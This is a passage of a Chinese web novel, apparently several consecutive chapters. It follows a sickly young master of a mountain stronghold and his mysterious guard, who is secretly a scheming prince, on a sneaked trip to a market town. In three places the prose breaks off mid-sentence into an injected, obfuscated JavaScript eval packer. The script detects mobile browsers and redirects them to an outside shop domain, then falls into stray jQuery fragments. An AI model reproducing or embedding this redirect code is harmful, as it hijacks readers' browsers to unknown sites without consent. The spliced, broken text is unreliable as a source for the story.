叶安淮轻咳一声,非常善解人意地说:“所以你不想说也没关系哦,我不会介意的。” 实际上眼睛都在放光,写满了“告诉我,快告诉我,我很好奇”。 解洵看着他,叹了一口气,偏过头去,淡淡地道:“并非是什么难以提及的过往……不过这里并不是什么谈话的好地方,我们换一个地方吧。” 膳房中弥漫着一股子鸡汤的香气,哪怕是吃饱了闻着也很香,确实不是个什么谈话的好地方。 叶安淮想到一个好去处,他眼睛一亮,提议道:“那不如来我的院子里吧。” 解洵不是第一次去到他的院子里了,他跟在叶安淮的身后,再次来到了他的院子里。 摆置在院里的火炉已经熄灭,躺椅上满是新落下的枯叶,长风吹过,莫名显得有些萧瑟。 院子里的物什并不多,叶安淮在院外呆站了一会,解洵上前询问:“怎么了?” “嗯?”他回过神,道,“没什么,进来吧。” 走进院中,解洵重新将火炉点燃,原本寒冷的院子一下子重新被温暖所覆盖。 叶安淮呼出一口冷气,没有坐在躺椅上,从屋内搬了两张小板凳出来放在火炉旁。他拍了拍小板凳:“来,坐。” 暖意浸着全身,冻僵的血液都重新流动了。 他手中捧着热茶,腾腾而起的雾气氤氲了眉眼,他斟酌了一下,问:“你来青溪镇,是为了逃避追杀?” “是不是有人在追杀你,你身上的那些伤,也是他们留下的吗?” 解洵坐在了他的对面,想了一下,应声道:“嗯。” 他轻描淡写地道:“有一部分算是吧,我被追杀后,最后是被人推下悬崖后才逃过了一劫。” “……?”叶安淮瞳孔猛然一缩,睁大眼睛,失声道,“悬崖?!” 解洵点点头:“先前我所说的其实并非胡编乱造。我母亲在很早之前就去世了,我父亲,嗯,算是个赌徒吧,他不怎么管我们,所以我母亲走的时候,也只有我们两个。” “我父亲如今重病缠身,家底几乎被他挥霍殆尽。早年结下了不少仇怨,如今那些人个个都盼着他死。”他唇边浮现出一丝讥讽的笑意,“活了半辈子,终究是自食恶果。” 叶安淮心脏揪了起来,指尖无意识地揪着袖口,哑声道:“那你是被牵连了吗?” “这其中的纠葛很深,一两句话难以道尽。”解洵继续说,“总之,他们认为只要我死了,就能轻而易举地夺得我父亲剩下的那点财产。” “可惜,他们的如意算盘未免太过天真。” “逃出来倒并不算难,这些人估计现在还在追查我的下落。我一路走一路逃,漫无目的,等回过神来时,已经身在这个镇子上了。” 叶安淮恨恨道:“谁稀罕他们那些臭钱,这群人,真是欺人太甚!” 解洵唇角扬起一抹淡淡的笑意,语锋一转:“我的前半生其实没什么值得一提的,但能逃出来也算是命中注定的一段因果。若要说我目的不纯,倒也确实如此。” “因为,我在找一个人。” 说完,他望向叶安淮,眼底的情绪波动难以捉摸。 叶安淮微怔:“找人?找什么人?” 解洵缓缓吐出一口气:“算是……故人吧。其实我和他认识的时间并不长,后来他搬走了,我们也就没了交集。” “我这一次想要找到他,只不过是想看看他过得好不好……还记不记得我罢了。” 他语气中带着丝丝落寞,叶安淮蹙紧眉头,反问:“你怎么知道他不会记得你?既是故人,那他肯定还记得你的模样。” “你的模样,你的声音,还有你们两个人曾经相处的时光,经历的事情,都会成为他过去的一部分。” 叶安淮说:“有谁会有意忘记自己曾经的一部分呢?” 解洵愣住。 叶安淮轻啧了一声,站起身:“这样,你告诉我你那故人的模样,我让寨里的人也找一找,说不定还真能找到什么线索呢?” 哪怕他自己也知道,天地这么大,这故人是生是死都还不一定,想要找到一个人,谈何容易? 但他不想看见这个人不经意间流露出的落寞,所以他拉着人安慰:“你想,都隔了那么多年,你既然还惦记着他,说不定人家也在惦记着你呢,对不对?” 叶安淮拍了拍解洵的肩膀:“看开一点,我觉得你现在首要的,是先解决那群想要追杀你的坏家伙。” “你功夫不弱,只是他们有一群人,而你只有一个人,敌不过是正常的,逃跑也并不可耻。” 叶安淮绞尽脑汁地想了想:“有句话叫什么的来着?养精蓄锐,再打他们个出其不意,看见他们脸上露出那种悔恨的表情,岂不是更快活!” 解洵:“……” 他并未说话,眼眸微垂,遮住了眼底波涛汹涌的思绪。 脑袋里疯狂又极端的想法拉扯着他的神经,近乎要将他整个人撕成了碎片,可表面上却未曾流露分毫。 须臾后,他缓缓吐出一口气,微微一笑道:“小少爷说得对。” 他站起身,额前垂落的碎发遮住了解洵的神情,他说:“这就是我全部的故事了,先前不告诉您,只是因为不想将您也牵扯进来。” 叶安淮却道:“有什么牵扯不牵扯的?你既然都是我的人了,自然也得有本少爷罩着!谁来了都不管用!” 兴许是情绪有些激动,一阵冷风吹来,被他吸进了肺中,连连咳嗽不已。 在外面待的时间有些长了,叶安淮身体也有些吃不消,捧着温茶饮了两口。 “反正,你就别关心这些有的没的了,好好养精蓄锐吧。”他说,“像你这样三天两头的撕裂伤口,这得养到猴年马月去?” 叶安淮嘀咕一声:“都不知道你是侍卫还是我是侍卫了。” “行了,也不跟你唠了。你赶紧回去歇息去吧,有空的时候还是得趁着大夫没下山的时候去看看。” “哦对了。” 少年像是想起来什么,回头腼腆一笑,“有空的时候帮我下山买两个糖葫芦吧,这两天清汤寡水的,连糕点都没怎么吃,可憋死我了。” 前脚刚叫人好好休息,后脚就开始提要求了。 吃饱喝足,周遭环绕着暖意,叶安淮又开始有些困了。 院子里的躺椅就是他平日午睡的地方,头顶的那棵槐树恰好成了能为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968372|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他遮天蔽日的挡板。 解洵拿来了小绒毯盖在他身上,随后便离开了。 即使是初冬的季节,头顶的阳光也依然刺目,他闷闷咳了两声,缓步朝着自己的住所走去。 兴许他是叶安淮带回来的人,所以并没有和旁人挤一间通铺。 解洵也没有这个兴趣和其他人住在一起。 居所偏僻,位于林子深处,估计苗子越也是怕他对叶安淮有什么图谋不轨的想法,才将他安排在了这里。 ——不过确实,不得不说,苗子越的第六感确实异于常人。 密林之中,寂静无声,木屋静静地伫立于此,无形之中有股压迫感朝着周遭四散开来。 解洵置若罔闻,脚步不停。 头顶黑影一掠而过,一阵长风吹来,恰好在解洵走到门前的那一刻,木门被风吹开了。 “大人,您回来了。” 黑影倏然落地,没有惊起一丁点波澜,他抬头,视线落在解洵肩膀的那道伤口处,微微惊愕道,“大人,您的伤……!” 解洵淡淡应了一声,将寒风阻挡在木门的外面。 与叶安淮的院子不同,屋内一片清冷。 “说说,都查到了什么。” 解洵……不,应该说是临安王殿下坐在木椅上,两名暗卫跪在身前,头压得很低。 他们能悄无声息地潜入遥云寨,已经足以证明这群人的身手与实力。 “殿下,您交代的谣言已经扩散开来。”暗卫低垂着头,声音平静无波地禀告道,“如今京城已是乱成一团,摄政王的势力与陛下的党羽争斗不休,甚至已有传言说摄政王意图谋反,陛下龙颜大怒。” 哪怕听到了这则消息,解洵神情不变,看不出喜怒,这副模样也让暗卫有些心惊胆战。 他半晌没有说话,暗卫只得斗胆抬头,继续问:“殿下,接下来我们需要插手吗……?” “慌什么?”解洵蓦地懂了,衣裳布料摩挲在一起,发出了窸窸窣窣的声音。他端起一碗茶,杯中倒映着那双透着凛冽寒意的银灰色眸子。 解洵并未饮茶,只是轻笑一声:“不着急,再让他们斗一斗,反正本王已经坠下悬崖生死未卜,那之后会发生的一切,都不在本王的责任之内了。” 他缓缓道,语调带着笑意:“陛下年纪大了,你们记得也多担待一些。” “可不能让他死得太轻松了。” 暗卫瞳孔骤然一缩:“是——!” 语毕,他又稍稍有些迟疑:“殿下,那我们何时离开此地……?” 暗卫稍稍抬头,目光落在解洵肩头的伤口处,微微蹙眉:“这群人着实欺人太甚!居然胆敢这般对待殿下,属下斗胆,不如……” 不如让属下一把火烧了这群蛮人! 可他说到一半,声音就顿住了。 一道似笑非笑的视线落在他身上,暗卫瞬间屏住呼吸,冷汗津津:“是属下逾越了……请殿下责罚!” 解洵淡淡道:“下不为例。” “就先……按照原先的计划行事吧。”临安王殿下慢条斯理地饮了一口茶,有些冷了,遂放在了一边。 先前触了霉头,暗卫猜不透解洵的想法,只得小心翼翼地开口:“那我们接下来……”是继续搅动两党之间的关系吗? 但他刚一问出口,就被自己愚蠢的问题弄得有些后悔了。 可没曾想,解洵沉吟一声:“接下来嘛——” 暗卫倏然屏住呼吸。 “接下来你替我去山下买两串,算了,买四串糖葫芦吧。” 解洵想了想,“哦对了,记得挑个大味甜的。” 暗卫:“……是。” 15. 第十五章 第十五章 尝到了糖葫芦的甜头,叶安淮有些坐不住了。 这两天叶安淮跟坐牢似的待在院子里,就连出个屋子都得里三层外三层的裹着,生怕他受了一点冻又发烧了。 恰好今儿是寨子下山采购的日子,他早晨醒来,听见外面传来了窸窸窣窣的动静声,是提前备好马车准备下山的声音。 他一个激灵从床榻上起来,噔噔噔地跑出去:“子越!苗子越!” 苗子越今日腰间没有别长刀,穿着一袭墨绿色的长衫,跟花丛中那一点显眼的绿似的站在人群里。 他手上翻阅着采购的清单,头也不抬地说:“不行,大夫说你还得静养两日。” “静养个屁!”叶安淮怒骂道,“都静养了多久了?你单纯就是觉得我下山会惹事才不让我出门的!” 苗子越抬起头,凉凉地瞅了他一眼:“我还以为你不知道呢。” 说完,他又警告了一句:“我跟你说,快冬至了,你可别再给我出什么幺蛾子,安安分分待在寨子里。” “在寨里过完冬至,再送你去栖净寺。” 叶安淮哀怨地看了一眼苗子越。 苗子越非常无情:“别看我,没有用的,你爹口令在先,我不得不服从。” 他怜悯地拍了拍少年的脑袋,诱哄道:“好了,回去吧,外面天冷,等你哥晚上回来给你带糖人吃。” 糖你娘了个*,把他当三岁小孩呢? 叶安淮面无表情地拂开他的手,不死心道:“你就偷偷带我下山不行吗?我会寸步不离地跟着你的,绝对不会惹事。” 苗子越笑了:“这话我从小听到大,你哪次是真的安分守己的?” “不行。” 叶安淮点点头:“行。”然后又一阵风似的跑走了。 苗子越有些疑惑地看着他跑走的背影,平日里也不见叶安淮这么好说话。 正思忖着这小孩也不知道肚子里又打着什么坏水呢,旁边便传来了一道声音。 “苗哥,一切都准备就绪了,我们何时启程?” 苗子越回神:“收拾一下,马上就走。” 另一边,叶安淮也不想再跟苗子越多做纠缠。 既然一条路行不通,那就另辟蹊径。 叶安淮心脏怦怦跳着,径直跑向了遥云寨的西南角。 他有些气短,还没跑两步,便在拐角撞到一个人。 看清来人,叶安淮一把抓住他的胳膊,将人拉到一边。 “嘘。”叶安淮左顾右盼了一番,没被人发现。 他附在解洵的耳旁,神神秘秘地低声道:“我现在要做一件大事,可不能被人发现了。” 两人的距离很近,少年身上的气息扑面而来,解洵倏然放松了紧绷的肌肉,屏住呼吸。 他学着少年的样子,眼底带着笑意,也小声地问:“什么大事,也带我一个?” 不知是不是叶安淮的错觉,不远处的树上忽地传来了什么东西跌落的动静。 他眨了眨眼:“什么声音?” 解洵轻描淡写地道:“兴许是野猫没站稳,掉下来了吧。” 叶安淮:“噢。” 说完,他就皱起好看的眉头,嘟囔着抱怨:“苗子越那个狗东西不让我下山,天天把我关在院子里,憋死我了。” “天天栖净寺栖净寺,真不知道那破庙到底给我爹灌了什么迷魂汤,烦都烦死了,就知道威胁我。” 叶安淮那张小嘴嘚啵嘚啵一个劲地吐槽,看得出来是被憋狠了。 还有一点就是,他觉得自从那日和解洵交心谈过之后,两人的关系一下子就拉近了很多。 这个人从前身上都是谜,他看不透一点。 现如今,他感觉自己对他也有些了解了。 叶安淮内心有些小窃喜。 他从前的世界很小,这里人生地不熟,基本上都是围着遥云寨里的人在转。 叶安淮常常有种感觉,像是做了一场大梦,梦醒后他还是身处于那个他熟悉的时代,会碌碌无为地遵从家中的要求,联姻生子,然后过完这没有什么波澜的一生。 现在……倒是越发分不清到底哪个世界才是梦境了。 解洵的存在很特殊,这还是他第一次主动去想要了解一个人。 他转头望向解洵,眸光晶亮:“所以,我们偷偷下山吧!” “我带你去吃香的喝辣的!” 说完,叶安淮就迫不及待地想走,却被解洵有些无奈地拉住:“等一下。” 他不满转头:“作甚,难不成你也不赞同我下山?” 解洵说:“我不是这个意思。” 他指了指前方:“这两天我探查过了,遥云寨的山门口每日都有人看守,今日也不例外,小少爷这般冒然擅闯,恐怕会被人直接拦下。” “也对。”叶安淮顺着他手指的方向望去,苗子越那一行人正准备下山,他当即轻啧一声,脑袋里灵光一闪,“不如我们翻墙出去吧!” “翻墙……”解洵顿了顿,他本想说若是小少爷想的话,他可以将看守的两人打晕。 可还不等他开口,叶安淮已经合掌决定了:“走!我们从后山翻下去,我知道有条路可以走!” 结果还没等他往前走两步,又被人拉住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993303|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解洵已经被他这般风风火火的模样搞得没脾气了,他叹了一口气:“小少爷,早晨山风凉快,您穿得有些单薄,我替您去拿一件裘袄。” “您在这里等我,我马上就回来。” 叶安淮愣愣地点头:“噢,噢。” 他的指缝间还残留着温热的触感,不可自抑地捻了捻指腹,怔怔地望着解洵离去的背影。 - 临近冬至了,街坊上挂满了流光溢彩的花灯,街坊上人来人往,吆喝声不断。 叶安淮似是飞出笼的鸟,披在身后的裘袄被长风带起。 他下了山,在看见集市的那一刻,脸上的疲态一扫而空。 街坊集市两旁的小摊好像又多了些生面孔,放眼望去全是叶安淮爱吃的。 走了这么长时间的路,又饿又渴。叶安淮观望了一番,目光落在了不远处的糖水铺子上。 他一溜烟地跑到铺子口,举起手:“老板,来两碗桂花糖芋苗!” 解洵跟在他的身后,二话不说从钱袋里掏出碎银放在了桌案上。 老板喜笑颜开地接过碎银:“好嘞,小公子您稍等一会哈!” 还没等老板说完,少年又迅速跑到了下一家铺子去,低着头开始报菜名。 老板:“这……那公子们先去玩,我给您们留着热乎的!” 解洵点了点头,抬步又跟上叶安淮的步伐。 一个只顾着报菜名,一个只顾着付钱。 两人一前一后,没一会解洵怀中就抱满了纸袋子。 他并无半句怨言,一直跟在叶安淮身后。这一番下来,小少爷白日里受得气也得到了发泄,漂亮的眉眼弯了起来。 他脚步轻快,偶尔驻足翻一翻解洵怀中的纸袋,看看都买了些什么新奇玩意。 噢,是一块糖人。 他乖巧地站在原地,眼巴巴地看着解洵将糖人从纸袋子拿出来,又用干净的帕子缠在木棍的底部,免得融化的汤水沾到叶安淮的手上。 糖人,好耶! 他也会自己买!才不稀罕苗子越给他带的! 集市上人流如潮,嘈杂声一片。叶安淮走得有些累了,正想着要不去个什么地方,喝喝茶歇息歇息。结果还没走两步,一道咬牙切齿的声音在身后响起。 “我就知道你今天早上答应得那么干脆准没好事!” 叶安淮舔着糖人回头,就见苗子越怀中也抱着大大小小的纸袋,隔着人潮瞪着眼睛看着他们两。 而苗子越的另外一只手上,也拿着一块用油纸包裹完整的糖人。 赫然是说好早上要给叶安淮带的那一块。 16. 第十六章 第十六章 “事情为什么会变成这样……” 精致雕花的雅阁内,叶安淮指尖把玩着杯盏,有气无力地趴在桌案上。 苗子越坐在他的对面,气定神闲,翘着二郎腿:“还不是因为你又乱跑,家里待不住你是吧?” 叶安淮正欲反驳,苗子越眉头一拧,又转向了坐在他身旁的解洵。 后者神色淡淡,接过叶安淮手中的杯盏,缓缓往里面倒入温水。 苗子越翻了个大大的白眼:“不是我说,解兄,你是他侍卫,不是他爹,不能事事都惯着他来。” 解洵却看都不看他一眼,垂眸碰了碰叶安淮的手指。 有点凉。 温热的茶杯正好可以暖手。 叶安淮眼不见心不烦,端起茶杯哐的一下放在苗子越面前,飞溅而出的茶水散在桌案上。 “喝完这杯茶,你就赶紧走吧。你不是还有事儿吗?别整天在我面前晃悠,烦死了。” 说完,他左手一伸,理直气壮地朝解洵道:“再来一杯。” 解洵从善如流,又倒了一杯温茶给他。 叶安淮双手伸出袖子,捧着热茶,舒舒服服地倚靠在软榻上。用眼神催促着苗子越,眼里写满了:我都请你喝茶了,你怎么还不走? 苗子越都快要无语死了,举起茶杯一饮而尽,试图用温茶来浇灭心中的憋屈。 他将茶杯也递给解洵,用眼神示意他也再帮自己倒一杯。后者接都没接,反而是叶安淮奇怪地瞥了他一眼:“眼睛咋了,抽成这样?” 苗子越:“……” 你狠。 他放下茶杯,也不纠结了,怕再纠结就被这两人气死了。 他轻咳了一声,正色道:“阿淮,你闹归闹,但是出门在外的时候还是尽量别单独一个人。” “最近衙门接到好几起寻人报案,失踪者多为镇上的未出阁的女子。案件比较蹊跷,接连几天搜寻都毫无头绪,遥云寨也颇受牵连。” 感觉说得有些严重了,苗子越赶忙找补:“当然,也并非什么大事,那群人不过是仗着老大不在寨内故意找麻烦罢了,你也别太担心。” 叶安淮刚悬起的心又落下了。 他心不在焉地应了一声,表面上看似毫不在意,实际已经默默地记在心上了。 恐怕这是临安王殿下失踪后的连锁反应。 有些人已经坐不住脚了。 解洵默不作声地抿了一口茶,眼底暗沉一片。 苗子越抹了一把脸,骂道:“也不知道怎么了,最近接二连三地冒出来好多烦人事,我看就是这一次老大离开的时间有点长,这群狗仗人势的东西就开始蹬鼻子上脸。” 语毕,他站起身,拍了拍叶安淮的脑袋,又被人不满地拂开:“行了,该说的都说完了。今夜估摸着会下一场大雪,夜路不好走,明日早上再回程。” “身上还有碎银吧?”苗子越这般问着,又掏出一袋沉甸甸的碎银递了过去,“好不容易下山一次,既然来都来了,就别再委屈自己了。” “明日早晨我来接你回去。” 小少爷顿时将那些杂七杂八的思绪抛之脑后,微微昂了昂下巴,勉为其难地收下了:“那好吧,看在你这么有诚意的份上,少爷我就大发慈悲不跟你计较这么多了。” * 苗子越还有要紧事在身,又叮嘱了几句便离开了。 他一走,叶安淮就跟没骨头似的瘫在了桌案上:“又要下雪啊……” 解洵动了动手指:“不喜欢吗?” 叶安淮思索了一下:“嗯,倒不是不喜欢。” 相反,他从前是个很喜欢下雪的南方人。 只是不知道今年怎么回事,尤为寒冷,这雪天一日接一日,总能让他想起一些不太好的记忆。 好像他前世死去的那一天,也是一个雪日。 人的情感总是复杂的,叶安淮也没那个脑力去想自己到底是喜欢还是不喜欢。 他只是觉得,哪怕雪天给他带来的大多数是不太好的回忆,但他依旧很喜欢雪花簌簌落下时的样子。 “你呢?” 他侧过脸,绸缎似的黑发倾泻而下,有些好奇地看着解洵问:“你喜欢吗,下雪天。” “……” 解洵不作声,转而看向窗外。 天际灰蒙蒙的一片,就在叶安淮以为自己得不到答案的时候,才听见男人声音低低地说:“不喜欢。” 叶安淮像是感应到什么,微微坐直身子。 明亮的光线照不进那双银灰色的眸子,暗沉一片。解洵淡淡开口:“他是在一个下雪天走的。” 莫名的,叶安淮知道他口中的“这个人”,就是解洵先前说过的那位“故人”。 他斟酌着开口,问:“能问问吗,他是个什么样的人?” 解洵转过头来看他,想了想:“是一个……嗯,好奇心很重的人。” 他缓缓吐出一口浊气,眼底带着几分温柔和沉思:“他是一个事事都喜欢打破砂锅问到底的人,如果白日里得不到答案,晚上会气得睡不着觉跑到你床前一直追问,直到把答案追问出来才善罢甘休。” 叶安淮蹙眉,下意识道:“那这性格还挺烦人的。” 说完才想起来,这么说好像有些不太礼貌。 谁知解洵听完,眉眼微弯,竟然笑了起来。 叶安淮呆了。 他很少看见解洵笑,为数不多的几次也都是非常淡的笑意,这还是第一次从他脸上看到这么清晰,又……这么好看的笑容。 叶安淮耳廓一片滚烫,有些狼狈地别开视线。 与此同时,内心又陡升起一丝异样。 解洵口中的那位故人……真的让他这般牵挂吗? 看起来两人从前的关系真的很好。 可好到什么程度呢?比他和解洵的关系还好吗? 然后呢? 如果找到那位故人,他是不是就要离开了? 叶安淮竭力忽略心中那莫名沮丧的情绪。 解洵察觉到他骤然低落的心情,蹙眉询问:“怎么了?身体不舒服了吗?” 叶安淮别扭地开口:“没有。” 他状似无意间开口:“说起来,你和你的那位故人,先前关系怎么样?” 关系肯定很好啊,要不然能让解洵惦记这么长时间吗? 解洵却是想了想,摇摇头说:“不太好。” 叶安淮微微睁大眼睛:“嗯?” 解洵无奈地笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007268|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我同他认识的时候,年纪还小,性格也不怎么好,总惹得他生气。” “说起来,我们第一次见面的时候,还闹了好大一通不愉快。” 叶安淮的好奇心被勾了起来,正准备进一步询问,却被窗外的几道嘈杂争吵声给打断了。 那争吵声很大,窗户隔音效果也不好,近乎盖过了两人说话的声音,引来了叶安淮的不满。 他皱着眉头探出脑袋,恰好看见一个男人正冷着脸,手中拖拽着一名酒楼的小倌。 那小倌身形矮小,另一只手抱着琵琶,一脸惶恐与无助,身旁却无一人胆敢上前帮忙。 叶安淮定睛一看,乐了。 哟,这不是前些天被他刚揍了一顿的胡大少爷吗?怎么这一出门,又见着了。 他趴在窗沿边,竖起拇指和食指,拟成手|枪的模样,食指对准楼下的胡申鸣:“叭——” 随着他尾音落下,胡申鸣哀叫了一声,吃痛地捂住了自己的后脖颈。 “是谁?!他娘的给老子滚出来!” 叶安淮愣愣地看着自己的手指——啊?不会吧? 一旁的解洵悄然收起藏在指缝之间的石子。 小少爷淮像是发现了什么新奇玩意,一连“叭”了好几声,每一声都能结结实实地听见胡申鸣的哀嚎。两旁站着的护卫赶忙上前,手忙脚乱地替他遮挡,却也无济于事。 那小倌估计也是吓傻了,一个劲地磕头道歉。 一时间,楼下的厅堂里乱成了一锅粥。 叶安淮笑得直不起腰,倒在解洵的怀中直擦眼泪。 解洵抚着他的长发,夸赞道:“小少爷真厉害。” 胡申鸣终于发现了他,怒火中烧地叫骂道:“叶安淮!又是你!” 叶安淮好不容易止住笑意,又起身趴在窗栏上,懒洋洋地道:“嗯嗯嗯,是你爷爷没错。” “胡申鸣,不是我说你,前两日还见你在布庄为难人家,今日又瞧见你在大街上强抢良家民男。不愧是县丞大人的嫡子,你这一言一行总是那么别具一格,也算是我们镇上少有的奇才了,写进史书里都得被夸赞一番啊。” 叶安淮明嘲暗讽,一句话下来一个脏字不带,听得胡申鸣脸色铁青。 他怒指着叶安淮:“放屁!老子这是正正经经地替他赎身!给脸不要脸的东西,你别在楼上逼逼,有种下来跟老子当面对峙!” 小倌在一旁苦着脸弱弱地开口:“大人,小的是清倌,不需要赎身的……” 胡申鸣两眼一瞪,撸起袖子就想冲上楼,结果冷不丁地对上了一个银灰色的瞳眸。 那男人静静地坐在叶安淮的身后,轻掀眼皮,浸着寒意的眸子冷冷扫过胡申鸣,仿佛是身居高位之人俯视着渺小的蝼蚁。 逼得胡申鸣硬生生停住了脚步,僵在原地。 叶安淮此时还在楼上拱火:“快来快来,你爷爷就坐在这等你。” 胡申鸣身后的护卫眼观鼻鼻观心,上前两步,附在他耳边低声说了些什么。 胡申鸣奇怪地瞥了一眼叶安淮,听完后,笑了:“算了,今日不和你多计较了。” “有时间在这花天酒地,不如多去管一管你们遥云寨的事儿吧。保不定哪天出了岔子,那可就栽跟头咯。” 17. 第十七章 第十七章 胡申鸣说完这句话,就大摇大摆地和他那两个侍卫走了。 独留叶安淮一人蹙着眉沉思,扭头问人:“他什么意思?” 解洵眸色沉沉地望着胡申鸣的背影,指尖摩挲着一枚尖锐的石子,似乎在思索着什么。 叶安淮也不指望解洵能回答他什么,苦思冥想了好一会,脑容量有些跟不上,干脆作罢。 “算了,有什么事苗子越会处理好的。”叶安淮手臂一摆,摆烂似的倒在解洵的腿上,舒舒服服地叹了口气。 解洵微微垂眸,望着他,启唇道:“我听闻最近镇上有些不安全,会不会和这件事情有关?” 叶安淮思忖片刻,灵光一闪:“你是说……和今日苗子越说的那个什么失踪案有关系?” “不错。” 解洵眼中闪过一丝赞赏,他点点头道,像是有意所指地问:“不过这些都是我的猜测,小少爷想要查一查吗?” 叶安淮:“啊?我吗?” 他翻了个身,嘟囔着:“才不要,这种麻烦事还是另请高明吧。” 嘴上这般说着,可心底还是不由得在意起这件事来。 解洵静静地看着他。 窗外暮色斜阳,微风徐徐吹拂,并不冷,吹动着茶盏中的茶,带起圈圈涟漪荡漾开来。 一道温柔的触感轻轻掠过他的发顶,仿若夜晚不期而至的微风拂过草尖。 叶安淮眼神微微失焦,似是察觉到什么,回过身:“怎么了?” 解洵:“没什么。” 他唇角勾起一抹弧度,好似心情忽地变好:“只是刚刚有一片落叶,已经摘下来了。” 叶安淮迷迷糊糊的,根本没想明白为什么阁楼雅间里还会出现落叶。 他心不在焉地应了一声,思绪还绕在方才胡申鸣说的话上,正想说些什么,恰好此时,门外忽地传来了一阵轻轻地敲门声。 “谁啊。”叶安淮懒懒散散地挥挥手,“本少爷现在不接客。” 下一秒,一个弹指落在他的脑壳上。 “诶呦!” 叶安淮猛地坐起身,瞪着圆溜溜的眼睛,警惕开口:“不准弹我!” 解洵淡淡道:“胡说。” 叶安淮:“哼。” 他一把跳开,对解洵做了个鬼脸,脆生生地道:“我还没说你放肆呢!” 而后三两步跳上前,一边拉开门,一边嘴里还嘟囔着:“再也不理……” 门外,站着的是一个衣不遮体,近乎赤裸的少年。 少年模样清秀,腰间挂着的银饰遮住了重要部位。他脸上泛着红晕,目光躲闪。一看见开门的人是叶安淮,低头小声地喊:“少——” 叶安淮:“……” 啪的一下把门关上了。 他惊魂未定,噔噔噔跑到解洵身后,颤颤巍巍开口:“你,你看见了吗?” “这世道怎么还会有人大街上裸奔——”叶安淮崩溃了,“啊!我的眼睛!重金诚招一双没有看过的眼睛!他是不是看我有钱,来讹我的?!” 解洵:“……” 叶安淮:“你你你,要不你给他点钱,把人打发走吧!” 随即想想又不对,赶紧拉住解洵,生怕他真去了:“算了算了,还是我来吧!” 他咽了咽口水,四处张望了一番,发现自己的裘袄披挂在一旁的衣架上,有些纠结。 就在这时,他听见解洵叹了一口气,脱下长袍外衫,起身,径直走向了门前。 叶安淮赶忙跟上。 木门再次被打开,那皮肤裸露的少年依旧站在门外,长廊上没有暖炉,寒冬腊月的,少年被冻得瑟瑟发抖。 解洵面无表情地将长袍盖在少年身上,身形挡住了叶安淮的视线。 “何事?”他冷冷开口。 那少年连忙裹紧长袍,哆哆嗦嗦地道:“多,多谢,谢少爷……” 叶安淮躲在解洵的身后,攥着他的里衣,探出脑袋来。 他好不容易静下心来定睛一看,愈发觉得这人眼熟:“小,小哥,啊不是,小弟,我是不是在哪见过你……?” 少年被冻得脸色发白,脚脖子上的银饰叮当作响:“回,回少爷的话,是,是您方才救了我一命。” 救了他一命? 叶安淮脑袋上出现一个大大的问号。 他仔细回想了一下,恍然:“啊,你是方才被胡申鸣纠缠的那个人?” 随即又瞠目结舌地问:“你,那你这副打扮蹲在这里又是作甚?” 言下之意就是,你哪来的回哪去啊!缠着我干什么! 少年咬着唇,似是难以启齿,他低着头道:“少爷方才救了我一命,按照这里的规矩,我……我是来……报答您的。” 叶安淮:“……” 他不是不谙世事的小孩,听懂了少年的话中话,无奈扶额:“你……算了,你先进来吧。” “把衣服穿好再进来。” 叶安淮拍了拍解洵的手臂,却见人还站在原地一动不动,修长挺拔的身形莫名之间有种无形的压迫感。 男人眸色沉沉地盯着那少年,吓得人一动不敢动。 像是虎视眈眈守着自家地盘的猛兽。 叶安淮有些好笑,又有些心痒。他伸手勾住解洵修长的指节:“行了,吓唬小孩子干什么。” 解洵沉默地望了他一眼,慢吞吞地侧身,让出了位置。 那少年生怕他反悔似的,连声道谢,快步走进雅阁之中。 木门再度关上,隔绝了屋外吹来的冷风,少年将自己蜷缩在屋内的一角。 叶安淮拉着解洵落了座,好奇的目光落在他身上,顺手给人倒了杯热茶递过去:“你叫什么?” 少年声音低若蚊鸣:“少爷可以唤我小洪。” 叶安淮噗嗤一下笑了:“小红?为什么取这么个名字?什么红?红色的红吗?” 少年脸上的笑意明媚,看不出丝毫讥讽的含义。小洪倏地红了脸颊,低着头,反倒显出几分刻意的柔顺:“是洪水的洪。” 叶安淮连连点头:“原来是这样。” “那小洪,莫非你是断袖吗?” 他冷不丁地抛出这么个问题,把小洪和解洵问的都是一愣。 叶安淮眨了眨眼,有些迟疑地说:“啊,我说错什么了吗?你方才不是说你是清倌吗?又为何这副打扮出现在我房前,是为了什么,银子吗?” 小洪连忙摆手,外披的长袍差点掉下来,又急急忙忙地拢住,他涨红了脸色:“不,不是!” “是,是胡少昨夜,昨夜将我拍了下来……”他说着,声音带着细微的颤抖,深呼吸一口气,眼神黯淡了几分,“我原先不过是一名抚琴师,只是后来酒楼生意不好,妈妈才……” 叶安淮这下听懂了。 